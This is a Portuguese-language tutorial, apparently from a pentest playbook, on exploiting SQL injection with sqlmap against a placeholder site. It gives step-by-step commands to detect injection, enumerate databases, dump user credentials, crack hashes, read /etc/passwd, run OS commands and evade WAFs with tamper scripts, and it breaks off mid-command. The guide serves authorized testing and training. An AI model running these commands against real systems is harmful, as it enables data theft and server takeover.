Explorando Injeção SQL com sqlmap

Quando Usar

• Durante testes de penetração autorizados em aplicações web
• Quando testes manuais revelam pontos potenciais de injeção SQL em parâmetros, cabeçalhos ou cookies
• Para validar descobertas de injeção SQL de scanners automatizados como Burp Suite ou OWASP ZAP
• Quando você precisa demonstrar o impacto da injeção SQL extraindo dados de bancos de dados backend
• Durante desafios de CTF envolvendo exploração de injeção SQL

Pré-requisitos

• Autorização: Acordo escrito de teste de penetração (Regras de Engajamento) para o alvo
• sqlmap: Instale via pip install sqlmap ou apt install sqlmap no Kali Linux
• Python 3.6+: Runtime necessário para o sqlmap
• Burp Suite (opcional): Para capturar e reenviar requisições HTTP
• Acesso ao Alvo: Conectividade de rede com a aplicação web alvo
• Navegador com proxy: Firefox com FoxyProxy para interceptar requisições

Fluxo de Trabalho

Passo 1: Identificar Pontos de Injeção Potenciais

Navegue manualmente pela aplicação e identifique parâmetros que interagem com o banco de dados. Use o Burp Suite para capturar requisições.

# Start Burp Suite proxy and capture requests
# Look for parameters in URLs, POST bodies, cookies, and headers
# Example target URL with a suspected injectable parameter:
# https://target.example.com/products?id=1

# Test manually for basic SQL injection indicators
curl -k "https://target.example.com/products?id=1'"
# Look for SQL error messages like:
# - "You have an error in your SQL syntax"
# - "ORA-01756: quoted string not properly terminated"
# - "Microsoft SQL Native Client error"

Passo 2: Executar Scan de Detecção Básica do sqlmap

Execute o sqlmap contra o ponto de injeção suspeito para confirmar a vulnerabilidade e identificar o tipo de banco de dados.

# Basic GET parameter test
sqlmap -u "https://target.example.com/products?id=1" --batch --random-agent

# For POST requests (save the request from Burp Suite to a file)
sqlmap -r request.txt --batch --random-agent

# Test specific parameter in a POST request
sqlmap -u "https://target.example.com/login" \
  --data="username=admin&password=test" \
  -p "username" --batch --random-agent

# Test with cookie-based injection
sqlmap -u "https://target.example.com/dashboard" \
  --cookie="session=abc123; user_id=5" \
  -p "user_id" --batch --random-agent

Passo 3: Enumerar a Estrutura do Banco de Dados

Uma vez confirmada a injeção, enumere bancos de dados, tabelas e colunas.

# List all databases
sqlmap -u "https://target.example.com/products?id=1" --dbs --batch --random-agent

# List tables in a specific database
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db --tables --batch --random-agent

# List columns in a specific table
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --columns --batch --random-agent

Passo 4: Extrair Dados de Tabelas Alvo

Descarregue o conteúdo de tabelas sensíveis para demonstrar o impacto.

# Dump specific columns from a table
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users -C "username,password,email" \
  --dump --batch --random-agent

# Dump with row limit to avoid excessive data extraction
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --dump --start=1 --stop=10 \
  --batch --random-agent

# Attempt to crack password hashes automatically
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users -C "username,password" \
  --dump --batch --passwords --random-agent

Passo 5: Testar Vetores de Exploração Avançada

Avalie o impacto total testando acesso em nível de sistema operacional e operações de arquivo.

# Check current database user and privileges
sqlmap -u "https://target.example.com/products?id=1" \
  --current-user --current-db --is-dba --batch --random-agent

# Attempt to read server files (if DBA privileges exist)
sqlmap -u "https://target.example.com/products?id=1" \
  --file-read="/etc/passwd" --batch --random-agent

# Attempt OS command execution (MySQL with FILE privilege)
sqlmap -u "https://target.example.com/products?id=1" \
  --os-cmd="whoami" --batch --random-agent

Passo 6: Usar Scripts Tamper para Contornar WAF/Filtros

Quando Firewalls de Aplicação Web ou filtros de entrada bloqueiam payloads básicos, use scripts tamper.

# Scripts tamper comuns para bypass de WAF
sqlmap -u "https://target.example.com/products?id=1" \
  --tamper="space2comment,between,randomcase" \

…